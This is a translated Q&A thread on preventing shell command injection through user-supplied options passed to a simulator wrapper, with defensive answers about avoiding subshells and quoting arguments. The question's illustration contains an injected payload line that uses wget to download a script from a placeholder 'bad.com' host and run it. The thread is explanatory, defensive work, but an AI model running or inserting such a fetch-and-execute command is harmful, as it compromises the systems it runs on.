如何通过命令选项防止命令注入?

Vic*_*sky 13 shell security bash quoting arguments

我有一个包装应用程序,我需要让用户指定自定义选项以传递给模拟器。但是,我想确保用户不会通过用户选项注入其他命令。实现这一目标的最佳方法是什么?

例如。

  • 用户提供: -a -b
  • 应用程序执行: mysim --preset_opt -a -b

但是,我不希望这种情况发生:

  • 用户提供: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • 应用程序执行: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

目前,我认为我可以简单地用单引号将每个用户提供的选项括起来'并去掉任何用户提供的单引号,这样最后一个示例中的命令就会变成无害的:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

注意:该mysim命令作为 docker/lxc 容器中的 shell 脚本的一部分执行。我正在运行 Ubuntu。

Gil*_*il' 8

如果您可以控制包装程序,请确保它不会调用子shell。在深处,执行程序指令由可执行文件的完整路径(绝对或相对于当前目录)和要作为参数传递的字符串列表组成。PATH 查找、空格分隔参数、引用和控制运算符都由 shell 提供。没有壳,没有痛苦。

例如,对于 Perl 包装器,使用execor的列表形式system。在许多语言中,调用execexecXXX函数之一(或unix.exec调用任何函数),而不是调用system、 或os.spawnwithshell=False或任何需要的函数。

如果包装器是 shell 脚本,则用于"$@"传递参数,例如

#!/bin/sh
mysim -preset-opt "$@"
Run Code Online (Sandbox Code Playgroud)

如果您别无选择并且包装程序调用了一个 shell,则您需要在将参数传递给 shell 之前引用它们。引用参数的简单方法是执行以下操作:

  1. 在每个参数中,将每个出现的'(单引号)替换为四字符字符串'\''。(例如don't变成don'\''t
  2. 添加'在每个参数的开头和每个参数的末尾。(例如从don't,don'\''t变成'don'\''t')
  3. 用中间的空格连接结果。

如果您需要在 shell 包装器中执行此操作,这是一种方法。

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done
Run Code Online (Sandbox Code Playgroud)

(不幸的是,${VAR//PATTERN/REPLACEMENT}这里应该派上用场的bash构造需要古怪的引用,我认为您无法获得'\''作为替换文本。)